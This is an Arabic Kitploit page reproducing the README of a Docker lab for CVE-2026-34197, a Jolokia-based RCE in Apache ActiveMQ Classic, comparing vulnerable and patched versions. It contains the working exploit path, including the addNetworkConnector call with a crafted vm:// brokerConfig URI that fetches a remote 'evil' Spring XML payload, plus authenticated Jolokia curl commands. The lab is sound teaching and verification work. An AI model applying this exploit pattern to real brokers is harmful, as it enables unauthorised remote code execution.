Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34197-Lab — مختبر Docker يوضح CVE-2026-34197، وهو ثغرة تنفيذ أكواد عن بُعد (RCE) في Apache ActiveMQ Classic عبر Jolokia. يتضمن كاشفًا آمنًا وإثبات مفهوم (PoC) محليًا فقط بأمر ثابت، مع مقارنة بين الإصدارات المعرضة للخطر والإصدارات المُصححة. | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

مختبر Docker يوضح CVE-2026-34197، وهو ثغرة تنفيذ أكواد عن بُعد (RCE) في Apache ActiveMQ Classic عبر Jolokia. يتضمن كاشفًا آمنًا وإثبات مفهوم (PoC) محليًا فقط بأمر ثابت، مع مقارنة بين الإصدارات المعرضة للخطر والإصدارات المُصححة.

عرض المستودع
4منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34197 — مختبر Apache ActiveMQ Classic Jolokia RCE

نظرة عامة

هذا المستودع هو مختبر Docker محلي لدراسة CVE-2026-34197، وهي مشكلة تنفيذ أوامر عن بُعد في Apache ActiveMQ Classic يمكن الوصول إليها عبر واجهة Jolokia JMX-HTTP API.

يقارن المختبر بين مثيلين من ActiveMQ Classic جنبًا إلى جنب:

الخدمةالإصدارالغرضالرابط
vuln5.19.3الهدف القابل للاستغلالhttp://127.0.0.1:8081
patched5.19.4هدف المقارنة المُصححhttp://127.0.0.1:8082

يحتوي المستودع على سكربتين للإثبات:

السكربتالغرضنموذج الأمان
poc/detect.pyكاشف مصرح بهHTTP فقط؛ لا يستغل الثغرة
poc/poc.pyإثبات مسار RCE محلي فقطأمر ثابت فقط: id; whoami; sleep 5

يتم التحقق من دليل التنفيذ بشكل منفصل بواسطة المشغّل باستخدام أدوات مراقبة العمليات مثل strace.


ملخص الثغرة

تؤثر CVE-2026-34197 على إصدارات Apache ActiveMQ Classic حيث يمكن لمستخدم مُصادق استخدام واجهة Jolokia لاستدعاء عمليات إدارة الوسيط (Broker) والتسبب في تحميل JVM الخاص بالوسيط لملف Spring XML يتحكم فيه المهاجم عبر URI مُصمم مثل brokerConfig=xbean:http://....

التدفق القابل للاستغلال الموضح في هذا المختبر هو:

root@kitploit:~
Jolokia /api/jolokia/
  -> عملية MBean الخاصة بالوسيط
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> جلب Spring XML عن بُعد
  -> تهيئة ProcessBuilder bean
  -> أمر الإثبات المحلي الثابت

الخدمة المُصححة تمنع هذا المسار قبل جلب XML وتُرجع خطأ مشابهًا لما يلي:

root@kitploit:~
VM scheme is not allowed

هيكل المستودع

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

أدوار الملفات

  • docker-compose.yml يشغّل خدمتي ActiveMQ القابلة للاستغلال والمُصححة.
  • vuln/Dockerfile يبني Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile يبني Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py يتحقق من تعرض Jolokia وإصدار ActiveMQ وظهور MBean الخاص بالوسيط.
  • poc/poc.py يُطلق مسار RCE المحلي فقط باستخدام أمر ثابت غير ضار.
  • images/strace.png يحتوي على دليل مراقبة العمليات المحلية من الخدمة القابلة للاستغلال.
  • .gitignore يستبعد الملفات المحلية وملفات ذاكرة Python المؤقتة والبيئات الافتراضية والسجلات والأسرار.

حدود الأمان

هذا المستودع مخصص للاستخدام في المختبر المحلي والتحقق الأمني المصرح به فقط.

الـ PoC مقيد عمدًا:

  • يرفض الأهداف غير المحلية.
  • لا يقبل أوامر عشوائية.
  • يستخدم فقط الأمر الثابت: id; whoami; sleep 5.
  • لا يجمع مخرجات الأوامر عبر استدعاء خارجي.
  • يعتمد على مراقبة منفصلة يتحكم بها المشغّل مثل strace.

الأهداف المحلية المسموح بها لـ poc.py:

root@kitploit:~
127.0.0.1
localhost
::1

لا تستخدم هذا المستودع ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.


إعداد المختبر

البناء والتشغيل

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

تحقق من حالة الخدمات:

root@kitploit:~
docker compose ps

الخدمات المتوقعة:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

التحقق من نقاط نهاية إصدار Jolokia

تحقق من الخدمة القابلة للاستغلال:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

تحقق من الخدمة المُصححة:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

الإصدارات المتوقعة:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

استخدام الكاشف

poc/detect.py هو السكربت الافتراضي الآمن. لا يستغل الهدف.

يتحقق من:

  1. ما إذا كان /api/jolokia/version متاحًا؛
  2. ما إذا كانت المصادقة مطلوبة؛
  3. ما إذا كان المنتج هو Apache ActiveMQ؛
  4. إصدار ActiveMQ؛
  5. ما إذا كان MBean الخاص بالوسيط مرئيًا عبر بحث Jolokia؛
  6. ما إذا كان الإصدار يقع ضمن النطاق المتأثر.

تشغيل الكاشف ضد خدمتي المختبر

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

النتيجة المتوقعة:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

ما الذي يُعتبر قابلاً للاستغلال في الكاشف؟

يصنف الكاشف الهدف على أنه LIKELY_VULNERABLE عندما:

root@kitploit:~
Jolokia متاح
+
إصدار ActiveMQ ضمن النطاق المتأثر

النطاقات المتأثرة المستخدمة في هذا المختبر:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

يُستخدم ظهور MBean الخاص بالوسيط كدليل ثقة لأن مسار الاستغلال يعتمد على عمليات إدارة الوسيط.

لا يدعي الكاشف CONFIRMED_RCE.


إثبات مسار RCE المحلي فقط

poc/poc.py يوضح مسار RCE في مختبر Docker المحلي.

يبدأ خادم HTTP مؤقتًا على المضيف ويقدم حمولة Spring XML في مسار فريد لكل تشغيل:

root@kitploit:~
/evil-<nonce>.xml

ثم يستدعي MBean الخاص بوسيط ActiveMQ عبر Jolokia:

root@kitploit:~
addNetworkConnector(java.lang.String)

مع URI اكتشاف مُصمم:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

الوسيط القابل للاستغلال يجلب هذا XML. الوسيط المُصحح يمنع مخطط نقل vm:// قبل جلب XML.

سلوك مهم

بعد تشغيل قابل للاستغلال، قد يعيد NetworkConnector المُنشأ محاولة جلب مسار XML القديم. يستخدم السكربت nonce فريدًا لكل تشغيل ويتتبع matches_current_run لتجنب النتائج الإيجابية الخاطئة.

يُحتسب الضغط فقط كتشغيل حالي إذا طابق:

root@kitploit:~
/evil-<current-nonce>.xml

تشغيل PoC ضد الخدمة القابلة للاستغلال

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

المخرجات المتوقعة:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

هذا يؤكد أن ActiveMQ 5.19.3 يمكن جعله يجلب Spring XML يتحكم فيه المهاجم عبر مسار الوسيط المُدار بواسطة Jolokia.


تشغيل PoC ضد الخدمة المُصححة

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

المخرجات المتوقعة:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

إذا ظهرت ضغطات من تشغيل قديم قابل للاستغلال، يجب أن تظهر:

root@kitploit:~
"matches_current_run": false

لا تُحتسب هذه كنجاح للخدمة المُصححة.


تأكيد تنفيذ الأوامر باستخدام strace

سكربت PoC لا يجمع مخرجات الأوامر. لتأكيد تنفيذ الأوامر، راقب إنشاء العمليات داخل الحاوية القابلة للاستغلال.

ادخل إلى الحاوية القابلة للاستغلال كجذر:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

ابحث عن عملية Java:

root@kitploit:~
pgrep -af java

اربط strace بمعرف عملية Java:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

في طرفية أخرى، شغّل PoC ضد الخدمة القابلة للاستغلال:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

دليل strace المتوقع:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

هذا هو الدليل على مستوى نظام التشغيل أن أمر الإثبات الثابت تم تنفيذه بواسطة JVM الخاص بالوسيط.

دليل تنفيذ الأوامر عبر strace


التنظيف بين التشغيلات

يحاول PoC إزالة اسم NetworkConnector الافتراضي NC قبل التشغيل. هذا يحافظ على قابلية التنبؤ بتشغيلات المختبر المتكررة.

التنظيف اليدوي:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

أو أعد تشغيل المختبر:

root@kitploit:~
docker compose restart vuln patched

النتائج المتوقعة للمختبر

الاختبارالقابل للاستغلال 5.19.3المُصحح 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
الوصول إلى Jolokiaمتاح مع المصادقةمتاح مع المصادقة
MBean الخاص بالوسيطمرئيمرئي
جلب XML عبر poc.pyنعملا
توقيع الحظر في المُصححغير متاحVM scheme is not allowed
دليل أوامر strace/bin/sh -c 'id; whoami; sleep 5'غير متوقع

المراجع

  • نشرة أمان Apache ActiveMQ — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • سجل CVE.org — CVE-2026-34197: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • قاعدة بيانات GitHub Advisory — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE عبر Jolokia API: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • توثيق Apache ActiveMQ Classic — شبكات الوسطاء: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • توثيق Apache ActiveMQ Classic JMX BrokerView API: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
تنزيل الأداة